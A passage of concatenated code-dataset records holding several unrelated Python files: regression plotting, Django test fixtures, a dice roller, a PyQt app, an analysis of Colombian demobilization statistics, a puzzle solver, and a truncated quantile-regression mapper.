dispersão\n matplotlib.pyplot.scatter(entrada_arvore, saida_arvore, color = 'red')\n\n # Realiza o plot da árvore de decisão\n matplotlib.pyplot.plot(X_grid_2d, regression_tree.predict(X_grid_2d), color = 'blue')\n\n matplotlib.pyplot.title('Exemplo de Regressão com Árvore de Decisão')\n matplotlib.pyplot.xlabel('declared_weight')\n matplotlib.pyplot.ylabel('actual_weight')\n matplotlib.pyplot.show()\n\n\ndef linearregression_analysis(dataframe):\n \"\"\"Cria modelo de previsão por regressão linear para colunas referenciadas, \n faz a análise desta e plota um gráfico de dispersão dos dados previstos e da \n função linear de previsão\"\"\"\n\n linear_function = \"\"\"Y = {}(A)*X + {}(B)\n Aonde a = Coeficiente Angular e b = Coeficiente Linear\\n\"\"\"\n\n # Determina a variável independente \n _x=dataframe['declared_weight'].values \n\n # Determinavariável dependente \n _y=dataframe['actual_weight'].values \n\n # Obtem Formato 2D do array x\n x_2d=_x.reshape((-1, 1)) \n\n # Calcula a regressão linear com base no array 2d criado a partir de x\n # e do array 1d criado a partir de y\n linear_regression=sklearn.linear_model.LinearRegression()\n linear_regression.fit(x_2d,_y) \n\n # Realiza a previsão utilizando o array 2d criado a partir de x\n prediction=linear_regression.predict(x_2d)\n\n # Análise do modelo\n print(linear_function.format(linear_regression.coef_, linear_regression.intercept_))\n\n # Caulcula o coeficiente de determinação\n # Maio valor possível igual a 1, quanto maior melhor o encaixe\n # Indica se a previsão está de acordo com o real\n r2 = sklearn.metrics.r2_score(_y, prediction) \n print(\"Coeficiente de Determinação (R2):\", r2, end='\\n\\n')\n\n #realiza o plot dos dados\n matplotlib.pyplot.figure(figsize=(10, 10), dpi=100)\n\n # Realiza o plot do gráfico de dispersão\n matplotlib.pyplot.scatter(_x, _y, color='gray') \n\n # realiza o plot da função da linha de regressão\n matplotlib.pyplot.plot(_x, prediction, color='red', linewidth=2) \n\n matplotlib.pyplot.xlabel(\"declared_weight\")\n matplotlib.pyplot.ylabel(\"actual_weight\")\n matplotlib.pyplot.show()\n\ndef linearregression_chinaitens_analysis(dataframe):\n \"\"\"Cria modelo de previsão por regressão linear de amostra específica \n dos dados do dataframe\"\"\"\n\n # Imprime os valores diferentes existentes para a coluna referenciada\n print(dataframe['country_of_origin'].unique())\n\n # Obtem dataframe somente com registros aonde \n # o valor da coluna 'country_of_origin' é igual a 'China'\n dataframe_china_itens=dataframe[dataframe['country_of_origin']=='China']\n\n # Imprime os valores diferentes existentes para a coluna referenciada\n print(dataframe_china_itens['item'].nunique())\n\n linearregression_analysis(dataframe_china_itens)\n\ndef reduce_datraframe(dataframe):\n \"Reduz o dataframe retirando as colunas referenciadas na função\"\n return dataframe.drop(columns={\n \"date_of_departure\", \n \"date_of_arrival\", \n \"date_of_departure\", \n \"date_of_arrival\", \n \"valid_import\", \n \"item\", \n \"importer_id\", \n \"exporter_id\", \n \"country_of_origin\", \n \"mode_of_transport\", \n \"route\",\n \"days_in_transit\"\n }, inplace=False)\n\ndef plot_correlation_matrix(dataframe):\n \"\"\" Plota gráfico de matriz de correlação das colunas do dataframe\n = –1 A perfect negative linear relationship\n < 0.70 A strong negative linear relationship\n < 0.50 A moderate negative relationship\n < 0.30 A weak negative linear relationship\n = 0 No linear relationship\n > 0.30 A weak positive linear relationship\n > 0.50 A moderate positive relationship\n > 0.70 A strong positive linear relationship\n = 1 A perfect positive linear relationship\"\"\"\n\n reduced_dataframe = reduce_datraframe(dataframe)\n\n matplotlib.pyplot.figure(figsize=(20, 10))\n\n # Obtem a matrix de correlação\n corr_matrix = reduced_dataframe.corr()\n\n # Plota a matriz de correlação com o seaborn\n seaborn.heatmap(corr_matrix, annot=True,vmin=-1, vmax=1,center= 0) \n\n matplotlib.pyplot.show()\n\n\nif __name__ == \"__main__\":\n # Cria o dataset do pandas a partir de csv\n dataframe = pandas.read_csv(\"src/input/Importation.csv\")\n\n linearregression_analysis(dataframe)\n\n linearregression_chinaitens_analysis(dataframe)\n\n plot_correlation_matrix(dataframe)\n\n decisiontree_regression_analysis(dataframe)","repo_name":"prbpedro/bootcamp_machine_learning","sub_path":"src/modulo1/importation_analysis.py","file_name":"importation_analysis.py","file_ext":"py","file_size_in_byte":7266,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8636011561","text":"import pytest\nfrom django.contrib.auth.models import User\n\nfrom tasks.models import Task\nfrom statuses.models import Status\nfrom labels.models import Label\nfrom task_manager.tests.fixtures.db_fixtures import LABELS_TEST\nfrom task_manager.tests.fixtures.db_fixtures import TASKS_TEST\nfrom task_manager.tests.fixtures.db_fixtures import USERS_TEST\nfrom task_manager.tests.fixtures.db_fixtures import STATUSES_TEST\n\n\n@pytest.fixture\ndef setup_labels(db):\n labels = []\n for label in LABELS_TEST:\n labels.append(Label.objects.create(**label))\n return labels\n\n\n@pytest.fixture\ndef setup_statuses(db):\n statuses = []\n for status in STATUSES_TEST:\n statuses.append(Status.objects.create(**status))\n return statuses\n\n\n@pytest.fixture\ndef setup_users(db, django_user_model):\n users = []\n for user in USERS_TEST:\n users.append(django_user_model.objects.create_user(**user))\n return users\n\n\n@pytest.fixture\ndef setup_tasks(db, setup_users, setup_labels, setup_statuses):\n tasks = []\n for task in TASKS_TEST:\n instance = Task.objects.create(name=task['name'],\n description=task[\"description\"],\n status=setup_statuses[\n task['status'] - 1],\n author=setup_users[\n task['author'] - 1],\n executor=setup_users[\n task['executor'] - 1])\n for label in task.get('labels', []):\n instance.labels.add(setup_labels[label - 1])\n tasks.append(instance)\n return tasks\n\n\n@pytest.fixture\ndef log_user1(client, setup_users):\n credetail = {'username': USERS_TEST[0]['username'],\n 'password': USERS_TEST[0]['password']}\n user = User.objects.get(username=credetail['username'])\n client.login(**credetail)\n return user\n","repo_name":"VVtatarinoff/python-project-lvl4","sub_path":"task_manager/tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12170563955","text":"#!/usr/bin/env python3\n\"\"\"\nModule Docstring\n\"\"\"\n\n__author__ = \"Christoph Pranzl\"\n__copyright__ = \"Copyright 2020, Christoph Pranzl\"\n__credits__ = [\"Christoph Pranzl\"]\n__license__ = \"GNU GPLv3\"\n__version__ = \"0.0.1\"\n__maintainer__ = \"Christoph Pranzl\"\n__email__ = \"christoph.pranzl@pranzl.net\"\n__status__ = \"prototype\"\n\n\"\"\"\nSYNOPSIS\n ancientsymbols [-h,--help] [-v,--verbose] [--version]\nDESCRIPTION\n\nEXAMPLES\n\n\"\"\"\nimport sys, os, traceback, argparse\nimport time\nimport random\nfrom logzero import logger\n\nGREEN = ['1','2','3','Terror','Peril','Lore']\nYELLOW = ['1','2','3','4','Peril','Lore']\nRED = ['2','3','Peril','Lore','Joker']\n\ndicepool = [GREEN,GREEN,GREEN,GREEN,GREEN,GREEN]\n\ndiceresults = []\n\ndef roll(dicepool):\n diceresults.clear()\n for dice in dicepool:\n result = random.sample(dice,1)\n diceresults.append(result)\n\ndef main(args):\n \"\"\" Main entry point of the app \"\"\"\n roll(dicepool)\n\n for result in diceresults:\n logger.info(result)\n\n dicepool.append(RED)\n roll(dicepool)\n\n for result in diceresults:\n logger.info(result)\n\n\nif __name__ == \"__main__\":\n \"\"\" This is executed when run from the command line \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-v\", \\\n \"--verbose\", \\\n action=\"store_true\", \\\n default=False, \\\n help=\"increase verbose output\")\n parser.add_argument('--version', \\\n action='version', \\\n version='%(prog)s ' + __version__)\n args = parser.parse_args()\n main(args)\n","repo_name":"cpranzl/ancientsymbols","sub_path":"ancientsymbols.py","file_name":"ancientsymbols.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1466639700","text":"# PyQT allaws us to create the Desktop apps\n\nfrom PyQt6.QtWidgets import QApplication, QWidget, QVBoxLayout\nfrom PyQt6.QtWidgets import QLabel,QPushButton,QLineEdit\n\n# Creating a function for a slot\ndef make_sentence():\n input_text=text.text()\n output_label.setText(input_text.capitalize())\n\napp=QApplication([]) # we need to have some argument and default one empty list\nwindow=QWidget()\nwindow.setWindowTitle(\"Sentence Maker\"+'!')\n\n# get that field where I can enter a txt\nlayout=QVBoxLayout() # V - vertical\n\n# Input\ntext=QLineEdit()\nlayout.addWidget(text)\n\n# adding another widget for a button\nbtn=QPushButton('Do magic!')\nlayout.addWidget(btn)\n# connecting a button to the txt field with a slot in it in its turn is a fn\nbtn.clicked.connect(make_sentence)\n\n# adding another label/widget/filed to display the outcome\noutput_label=QLabel('')\nlayout.addWidget(output_label)\n\n\n# Display that enetered txt\nwindow.setLayout(layout)\nwindow.show()\napp.exec()\n","repo_name":"AndzejK/webApp_w_Flask","sub_path":"desktopApp/sentence_maker.py","file_name":"sentence_maker.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74566128407","text":"from PIL.Image import NONE\nfrom numpy import mat\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom operator import itemgetter\nfrom pandas.core.frame import DataFrame\nfrom pandas.core.indexes import datetimes\nimport matplotlib.image as mpimg\nimport matplotlib.patches as mpatches\n\ndef requerimiento_0(ruta_archivo:str)->DataFrame:\n\n \"\"\"\n\n Funcion\n \n Cargar el archivo de datos\n\n Entradas\n\n ruta_archivo: str correspondiente a la ruta del archivo que \n se quiere cargar\n\n Salida\n\n Estructura de datos con la informacion del archivo\n inresado: DataFrame\n\n \"\"\"\n\n return pd.read_csv(ruta_archivo)\n\ndef requerimiento_1(data: DataFrame):\n\n \"\"\"\n\n Funcion\n \n Muestra la distribución de los desmovilizados según grupo armado\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n Salida\n\n Grafica: plt\n\n \"\"\"\n\n # Se eliminan las filas las cuales en la columna del grupo armado\n # cotienen datos desconocidos\n data = data.iloc[:, :][data.ExGrupo != 'SIN DATO'][data.ExGrupo != 'SIN DATO MINDEFENSA']\n \n # Se calcula el total de filas del DataFrame reultante de la\n # filtracion anterior\n total = data.shape[0]\n\n # Se obtiene una lista de todos los grupos armados\n grupos = list((data.iloc[:, 1].unique()))\n\n # Se crea un diccionario para almancenar los porcentajes de cada\n # grupo armado\n gruposInfo = {}\n\n # Se itera en cada grupo armado, se calcula su porcentaje y se \n # almacena en el diccionario\n for i in grupos:\n conteo = (data.iloc[:, 1][data.ExGrupo == i].value_counts())[0]\n porcentaje = (conteo/total) * 100\n gruposInfo[i] = porcentaje\n\n\n # Se prepara la grafica y se muestra\n labels = 'AUC', 'FARC', \"ELN\", \"ERG\", \"ERP\", \"EPL\"\n\n sizes = [\n gruposInfo[\"AUC\"],\n gruposInfo[\"FARC\"],\n gruposInfo[\"ELN\"],\n gruposInfo[\"ERG\"],\n gruposInfo[\"ERP\"],\n gruposInfo[\"EPL\"] \n ]\n\n legendLabels = [\n f\"{'AUC'},{round(gruposInfo['AUC'], 1)}\",\n f\"{'FARC'},{round(gruposInfo['FARC'], 1)}\",\n f\"{'ELN'},{round(gruposInfo['ELN'], 1)}\",\n f\"{'ERG'},{round(gruposInfo['ERG'], 1)}\",\n f\"{'ERP'},{round(gruposInfo['ERP'], 1)}\",\n f\"{'EPL'},{round(gruposInfo['EPL'], 1)}\"\n ] \n\n fig1, ax1 = plt.subplots()\n ax1.pie(sizes, labels=labels, autopct='%1.1f%%', startangle=360)\n ax1.axis('equal')\n plt.title(f\"Diagrama de torta segun ex grupo armado\")\n plt.legend( loc='lower left', labels=legendLabels)\n plt.show()\n\ndef requerimiento_2(data: DataFrame, añoInicial: int, añoFinal: int):\n\n \"\"\"\n\n Funcion\n \n Muestra la tendencia del número de desmovilizados por un rango\n de años\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n añoInicial: int del año inicial para el rango\n\n añoFinal: int del año final para el rango\n\n Salida\n\n Grafica: plt\n\n \"\"\"\n\n # Se filtra el DataFrame para conservar unicamente las filas\n # en las cuales el año que se encuentra en la columna del año de \n # desmovilizacion entra dentro del rango ingresado por el usuario\n dataRange = data.iloc[:, :][data.AnioDesmovilizacion >= añoInicial][data.AnioDesmovilizacion <= añoFinal]\n \n # Se obtiene la lista de los años que se encuentran en el DataFrame\n # resultante de la operacion anterior\n activity = list((dataRange.iloc[:, 2].unique()))\n\n # Se crea una nueva lista para almacenar el conteo por departamento\n cat = []\n\n # Se calula el conteo por departamento y se inserta la cantidad en la\n # lista creada anteriormente\n for i in activity:\n cantidad = data.iloc[:, :][data.AnioDesmovilizacion == i].shape[0]\n cat.append(cantidad)\n\n # Se prepara la grafica y se muestra\n fig, ax = plt.subplots()\n ax.plot(activity, cat)\n plt.ylabel(\"Numero de desmovlizados\")\n plt.xlabel(\"Año de desmovilizacion\")\n plt.show()\n\ndef requerimiento_3(data: DataFrame, desmovilizacion: str):\n\n \"\"\"\n\n Funcion\n \n Muestra un top de 5 departamentos por tipo de desmovilización\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n desmovilizacion: str del tipo de desmovilizacion sobre el cual\n se quiere consultar la informacion\n\n Salida\n\n Grafica: plt\n\n \"\"\"\n\n # Se filtra el DataFrame para conservar unicamente las filas\n # en las cuales el tipo de desmovilizacion que se encuentra en la\n # columna de tipo de desmovilizacion sea el tipo ingresado por el \n # usuario\n data = data.iloc[:, :][data.TipoDeDesmovilizacion == desmovilizacion]\n\n # Se obtiene la lista de departamentos del DataFrame resultante de la\n # operacion anterior\n departamentosList = list(data.iloc[:, 5].unique())\n\n # Se crea un nuevo diccionario para almacenar el conteo de\n # desmovilizaciones por cada departamento, donde las llaves seran \n # el departamento y los valores, los respectivos conteos\n conteo = {}\n\n # Se calcula y carga la informacion al dicccionario creado\n # anteriormente\n for i in departamentosList:\n cantidad = data.iloc[:, :][data.DepartamentoDeResidencia == i].shape[0]\n conteo[i] = cantidad\n\n # Se ordena el diccionario por el valor de sus llaves, de mayor\n # a menor\n top = dict(sorted(conteo.items(), key=itemgetter(1), reverse=True))\n\n # Se obtiene la lista de llaves del diccionario resultante de la\n # operacion anterior, las cuales son los departamentos\n departamentos = list(top.keys())\n departamentos.reverse()\n\n # Se obtiene la lista de valores del diccionario, los cuales son\n # el conteo de desmovilizaciones en cada departamento\n conteos = list(top.values())\n conteos.reverse()\n\n # Se prepara la grafica y se muestra\n plt.barh(departamentos[-5:], conteos[-5:])\n plt.ylabel(\"Departamento de residencia\")\n plt.show()\n\ndef requerimiento_4(data: DataFrame):\n\n \"\"\"\n\n Funcion\n \n Muestra la distribución del número de hijos que tienen los\n desmovilizados según su sexo\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n Salida\n\n Grafica: plt\n\n \"\"\"\n # Se filtran unicamente las columnas que se van a usar del DataFrame,\n # se prepara la grafica y se muestra.\n data = data.loc[:, [\"Sexo\", \"NumDeHijos\"]].boxplot(by=\"Sexo\", rot=90,figsize=(15,10)) \n plt.title(\"Numero de hijos por sexo\")\n plt.xlabel(\"Sexo\")\n plt.ylabel(\"Numero de hijos\")\n plt.show()\n\ndef requerimiento_5(data: DataFrame):\n\n \"\"\"\n\n Funcion\n \n Muestra la la ocupación de los individuos que hayan recibido\n algún beneficio o desembolso\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n Salida\n\n Grafica: plt\n\n \"\"\"\n\n # Se filtra el DataFrame por las personas que han recibido algun\n # tipo de beneficio\n data = data.iloc[:, :][(data.BeneficioTRV == \"Sí\") | (data.BeneficioFA == \"Sí\") | (data.BeneficioFPT == \"Sí\") | (data.BeneficioPDT == \"Sí\") | (data.DesembolsoBIE == \"Sí\")]\n \n # Se extrae del DataFrame una lista de ocupaciones\n ocupacionesList = list(data.iloc[:, 11].unique())\n \n # Se crea un diccionario para almancenar las ocupaciones, las cuales\n # seran las llaves del diccionario, y el conteo de personas que\n # ejercen determinada labor y que a la vez reciben algun beneficio,\n # este conteo sera el valor de cada llave\n conteo = {}\n\n # Se carga la informacion al diccionario anterior\n for i in ocupacionesList:\n cantidad = data.iloc[:, :][data.OcupacionEconomica == i].shape[0]\n conteo[i] = cantidad\n\n # Se prepara la grafica y se muestra\n courses = list(conteo.keys())\n values = list(conteo.values())\n fig = plt.figure(figsize = (10, 5))\n plt.bar(courses, values, width = 0.4)\n plt.xlabel(\"Ocupacion economica\")\n plt.show()\n\ndef requerimiento_6(data: DataFrame):\n\n \"\"\"\n\n Funcion\n \n Crea una matriz de departamento vs ex grupo, un diccionario para\n indicar la posicion de los departamento en la matriz y otro\n diccionario para indicar la poscion de los ex grupos armados en\n la matriz\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n Salida\n\n output: tuple de tres posiciones que contien en la primera\n posicion la matriz, en la segunda el diccionario de posiciones de\n departamentos y en la tercera el diccionario de poscisiones de\n los ex grupos armados\n\n \"\"\"\n\n # Se eliminan las filas las cuales en la columna del grupo armado\n # cotienen datos desconocidos\n data = data.iloc[:, :][(data.ExGrupo != \"SIN DATO\") & (data.ExGrupo != \"SIN DATO MINDEFENSA\")]\n \n # Se obtiene una lista de departamentos ordenada ascendente y\n # alfabeticamente\n departamentosList = sorted(list(data.iloc[:, 5].unique()))\n\n # Se obtiene una lista de ex grupos armados ordenada ascendente y\n # alfabeticamente\n grupoList = sorted(list(data.iloc[:, 1].unique()))\n\n # Se crea el diccionario de filas\n dictFilas = {}\n pos = 0\n for i in departamentosList:\n dictFilas[pos] = i\n pos += 1\n\n # Se crea el diccionario de columnas\n pos = 0\n dictColumnas = {}\n for i in grupoList:\n dictColumnas[pos] = i\n pos += 1\n\n # Se crea la matriz\n matriz = []\n for i in departamentosList:\n filaDepartamento = []\n for j in grupoList:\n conteo = data.iloc[:, :][data.DepartamentoDeResidencia == i][data.ExGrupo == j].shape[0]\n filaDepartamento.append(conteo)\n matriz.append(filaDepartamento)\n \n # Se crea la tupla de retorno\n output = (matriz, dictFilas, dictColumnas)\n\n return output\n\ndef requerimiento_7(data: DataFrame, departamento: str) -> str:\n\n \"\"\"\n\n Funcion\n \n Consultar el grupo con más desmovilizados por departamento dado\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n departamento: str del nombre del departamento del cual se quiere\n la informacion\n\n Salida\n\n str: str con el nombre del grupo con mas desmovilizados en el \n departamento dado\n\n \"\"\"\n\n # Se eliminan las filas las cuales en la columna del grupo armado\n # cotienen datos desconocidos\n dataClean = data.iloc[:, :][(data.ExGrupo != \"SIN DATO\") & (data.ExGrupo != \"SIN DATO MINDEFENSA\")]\n \n # Se obtiene una lista de departamentos ordenada ascendente y\n # alfabeticamente\n departamentosList = sorted(list(dataClean.iloc[:, 5].unique()))\n\n # Se obtiene una lista de ex grupos armados ordenada ascendente y\n # alfabeticamente\n grupoList = sorted(list(dataClean.iloc[:, 1].unique()))\n\n # Se crea un diccionario de filas pasa saber la posicion de cada\n # departamento en la matriz, en donde las llave seran la posicion \n # y el valor sera el departemanto que se encuentra en esa posicion \n dictFilas = {}\n pos = 0\n for i in departamentosList:\n dictFilas[i] = pos\n pos += 1\n\n # Se crea un diccionario de columnas pasa saber la posicion de cada\n # ex grupo en la matriz, en donde las llave seran el nombre del \n # exgrupo y el valor sera la posicion de columna en la que se encuentra \n pos = 0\n dictColumnas = {}\n for i in grupoList:\n dictColumnas[pos] = i\n pos += 1\n\n # Se obtiene la matriz creada en el requerimiento 6\n matriz = requerimiento_6(data)[0]\n\n # Se obtiene la posicion de fila en la cual se encuentra el\n # departamento en la matriz\n posDepartamento = dictFilas[departamento]\n\n # Se accede a la fila de la matriz en donde se encuentra la\n # informacion del departamento ingresado por el ususario\n matrizDepartamento = matriz[posDepartamento]\n\n # Se obtiene el valor maximo de la lista ala cual se accedio \n # anteriormente, la cual corresponde al mayor numero de\n # desmovilzados en ese departmento\n maximo = max(matrizDepartamento)\n\n # Se accede a la posicion en la cual se encontro el numero maximo\n # encotrado anteriormente\n pos = matrizDepartamento.index(maximo)\n\n # Se encuentra el grupo al cual corresponde el numero maximo de \n # desmovilizados\n grupo = dictColumnas[pos]\n\n return grupo\n\ndef requerimiento_8(data: DataFrame, grupo: str) -> int:\n\n \"\"\"\n\n Funcion\n \n Consultar la cantidad de personas por grupo\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n grupo: str del nombre del grupo del cual se quiere la informacion\n\n Salida\n\n conteo: int con la cantidad requerida\n\n \"\"\"\n\n # Se eliminan las filas las cuales en la columna del grupo armado\n # cotienen datos desconocidos\n dataClean = data.iloc[:, :][(data.ExGrupo != \"SIN DATO\") & (data.ExGrupo != \"SIN DATO MINDEFENSA\")]\n\n # Se obtiene una lista de ex grupos armados ordenada ascendente y\n # alfabeticamente\n grupoList = sorted(list(dataClean.iloc[:, 1].unique()))\n\n # Se crea un diccionario de columnas pasa saber la posicion de cada\n # ex grupo en la matriz, en donde las llave seran el nombre del \n # exgrupo y el valor sera la posicion de columna en la que se encuentra \n pos = 0\n dictColumnas = {}\n for i in grupoList:\n dictColumnas[i] = pos\n pos += 1\n\n # Se obtiene la posicion de columna en la cual se enuentra el conteo\n # con respecto al grupo armado ingresado por el usuario\n posGrupo = dictColumnas[grupo]\n\n # Se obtiene la matriz creada en el requerimiento 6\n matriz = requerimiento_6(data)[0]\n \n # Se crea una variable para sumar la cantidad de demovilizados del \n # grupo en cada departamento\n conteo = 0\n\n # Se realiza el conteo recorriendo la matriz departamento por\n # departamento y sumando el valor que se encuentra en la columna\n # correspondiente al grupo armado\n for i in matriz:\n conteo += i[posGrupo]\n\n return conteo\n\ndef requerimiento_9(data: DataFrame) -> tuple:\n\n \"\"\"\n\n Funcion\n \n Consultar el departamento y grupo armado con mayor cantidad de\n desmovilizados\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n Salida\n\n tuple: tuple con la informacion solicitada\n\n \"\"\"\n\n # Se obtiene la matriz, el diccionario de filas y de columnas\n # creados en el requerimiento 6\n matriz = requerimiento_6(data)[0]\n dictFilas = requerimiento_6(data)[1]\n dictColumnas = requerimiento_6(data)[2]\n\n # Se crea una variable para identificar la posicion de fila por \n # las cual se va recorriendo la matriz.\n pos = 0\n\n # Se crea un diccionario para almacenar el valor maximo\n # encontrado en cada fila. Las llaves seran la posicion\n # de la fila y el valor el numero maximo encontrado en\n # esta, el cual corresponde al mayor numero de demovilizados\n # en el departamento.\n dictFilasMax = {}\n\n for i in matriz:\n dictFilasMax[pos] = max(i)\n pos += 1\n\n # Se ordena el diccionario por el valor de sus llaves, de mayor\n # a menor\n dictFilasMax = dict(sorted(dictFilasMax.items(), key=itemgetter(1), reverse=True))\n\n # Se crea una lista con las llaves del diccionario anterior y\n # se obtiene su primer elemento, el cual corresponde a las\n # posicion del departamento en donde se dio el mayor numero\n # de desmovilizaciones\n maxDepartmentPos = (list(dictFilasMax.keys()))[0]\n\n # Se encuentra el departamento al cual le corresponde esta\n # posicion en la matriz\n departamento = dictFilas[maxDepartmentPos]\n\n # Se crea una lista con los valores del diccionario anterior y\n # se obtiene su primer elemento, el cual corresponde al mayor\n # numero de desmovilizaciones en el departamento obtenido\n # anteriormente\n maxGroupValue = (list(dictFilasMax.values()))[0]\n\n # Se halla la poscion de columna en la cual se encuentra el\n # valor encontrado anteriormente\n maxGroupPos = matriz[maxDepartmentPos].index(maxGroupValue)\n\n # Con la posicion encotrada anteriormente, se accede al\n # al nomre de grupo armado al que le corresponde esa\n # posicion\n maxGroupName = dictColumnas[maxGroupPos]\n\n return (departamento, maxGroupName)\n\ndef requerimiento_10(data: DataFrame):\n\n \"\"\"\n\n Funcion\n \n Grafia el ex grupo con mayor desmovilización por departamento\n\n Entradas\n\n data: DataFrame con los datos necesario para la elaboracion de \n la funcion\n\n Salida\n\n plt: plt grafica que muestra la informacion consultada\n\n \"\"\"\n\n # Se crea un diccionario para almacenar las coordenadas de la \n # ubicacion de los departamentos en la imagen. Las llaves \n # seran los nombres de los departamentos y los valores una\n # tupla con las cordenadas del respectivo departamento\n deptos = {}\n\n # Se lee el archivo de coordenadas y se carga al diccionario\n # creado anteriormente\n archivo = open(\"./data/coordenadas.txt\", encoding=\"utf8\")\n archivo.readline()\n linea = archivo.readline()\n while len(linea) > 0:\n linea = linea.strip()\n datos = linea.split(\";\")\n deptos[datos[0]] = (int(datos[1]),int(datos[2]))\n linea = archivo.readline()\n\n # Se eliminan las filas las cuales en la columna del grupo armado\n # cotienen datos desconocidos\n dataClean = data.iloc[:, :][(data.ExGrupo != \"SIN DATO\") & (data.ExGrupo != \"SIN DATO MINDEFENSA\")]\n \n # Se obtiene una lista de departamentos ordenada ascendente y\n # alfabeticamente\n departamentosList = sorted(list(dataClean.iloc[:, 5].unique()))\n\n # Se crea un diccionario en donde las llaves seran los \n # departamento y los valores, el grupo armado con mayor\n # cantidad de desmovilizaciones en cada departamento\n info = {}\n\n # Se carga la informacion al diccionario creado \n # anteriormente usando la funcion del requerimiento 7\n # ya que nos calcula el grupo armado que estamos buscando\n for i in departamentosList:\n info[i] = requerimiento_7(data, i)\n\n # Se carga la imagen del mapa y se convierte a matriz\n mapa = mpimg.imread(\"./data/mapa.png\").tolist()\n\n # Se toma cada departamento y se pinta en su parte del\n # mapa el color que sirve para identificar el grupo \n # armado que mayor numero de desmovilizaciones tuvo\n for i in departamentosList:\n\n grupo = info[i]\n\n if grupo == \"AUC\":\n\n kInicio = deptos[i][0] - 13\n kFin = kInicio + 14\n lInicio = deptos[i][1]\n lFin = lInicio + 14\n for k in range(kInicio, kFin):\n for l in range(lInicio, lFin):\n mapa[k][l] = [1.0, 1.0, 0.0]\n \n if grupo == \"ELN\":\n\n kInicio = deptos[i][0] - 13\n kFin = kInicio + 14\n lInicio = deptos[i][1]\n lFin = lInicio + 14\n for k in range(kInicio, kFin):\n for l in range(lInicio, lFin):\n mapa[k][l] = [1.0, 0.0, 0.0]\n \n if grupo == \"EPL\":\n\n kInicio = deptos[i][0] - 13\n kFin = kInicio + 14\n lInicio = deptos[i][1]\n lFin = lInicio + 14\n for k in range(kInicio, kFin):\n for l in range(lInicio, lFin):\n mapa[k][l] = [1.0, 0.0, 1.0]\n \n if grupo == \"ERG\":\n\n kInicio = deptos[i][0] - 13\n kFin = kInicio + 14\n lInicio = deptos[i][1]\n lFin = lInicio + 14\n for k in range(kInicio, kFin):\n for l in range(lInicio, lFin):\n mapa[k][l] = [0.0, 1.0, 1.0]\n \n if grupo == \"ERP\":\n\n kInicio = deptos[i][0] - 13\n kFin = kInicio + 14\n lInicio = deptos[i][1]\n lFin = lInicio + 14\n for k in range(kInicio, kFin):\n for l in range(lInicio, lFin):\n mapa[k][l] = [0.0, 1.0, 0.0]\n \n if grupo == \"FARC\":\n\n kInicio = deptos[i][0] - 13\n kFin = kInicio + 14\n lInicio = deptos[i][1]\n lFin = lInicio + 14\n for k in range(kInicio, kFin):\n for l in range(lInicio, lFin):\n mapa[k][l] = [1.0, 0.5, 0.5]\n\n # Se prepara la grafica y se muestra\n plt.imshow(mapa)\n AUC_color = mpatches.Patch(color=(1.0, 1.0, 0.0), label='AUC')\n ELN_color = mpatches.Patch(color=(1.0, 0.0, 0.0), label='ELN')\n EPL_color = mpatches.Patch(color=(1.0, 0.0, 1.0), label='EPL')\n ERG_color = mpatches.Patch(color=(0.0, 1.0, 1.0), label='ERG')\n ERP_color = mpatches.Patch(color=(0.0, 1.0, 0.0), label='ERP')\n FARC_color = mpatches.Patch(color=(1.0, 0.5, 0.5), label='FARC')\n plt.legend(handles=[AUC_color, ELN_color, EPL_color, ERG_color, ERP_color, FARC_color])\n plt.show()","repo_name":"Introduction-to-Programming-with-Python/Conflict-in-Colombia","sub_path":"code/desmovilizados.py","file_name":"desmovilizados.py","file_ext":"py","file_size_in_byte":21352,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16664967619","text":"import os\r\n\r\ndirname = os.path.dirname(__file__)\r\nfilename = os.path.join(dirname, 'data')\r\n\r\nfile = open(filename, 'r')\r\nlines = file.readlines()\r\ncounter = 0\r\n\r\nfor line in lines:\r\n line = line.strip()\r\n left, right = line.split(',')\r\n leftPair = left.split('-')\r\n rightPair = right.split('-')\r\n\r\n print(line)\r\n print(leftPair)\r\n print(rightPair)\r\n\r\n if (int(leftPair[0]) >= int(rightPair[0]) and int(leftPair[1]) <= int(rightPair[1])) or \\\r\n (int(rightPair[0]) >= int(leftPair[0]) and int(rightPair[1]) <= int(leftPair[1])):\r\n counter = counter + 1\r\n print(1)\r\n print(counter)\r\n\r\nprint(\"counter: \" + str(counter))\r\n","repo_name":"floespen/advent-of-code","sub_path":"4/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36132602616","text":"import numpy as np\nimport numpy.linalg as npl\nimport json as json\nimport typedbytes as tb\n\nfrom utils import Block_Mapper\nfrom quantreg import quantreg_ipm\n\n\nclass Unif_Samp_Mapper(Block_Mapper):\n \"\"\"\n Random sampling uniformly\n \"\"\"\n def __init__(self):\n import os\n Block_Mapper.__init__(self, 32768)\n\n self.nx = float(self.params[\"nx\"])\n self.ss = float(self.params[\"s\"])\n self.size = float(self.params[\"num_row\"])\n\n def parse(self, row):\n return [float(v) for v in row.split()]\n\n def process(self):\n As = np.array(self.data)\n m, n = 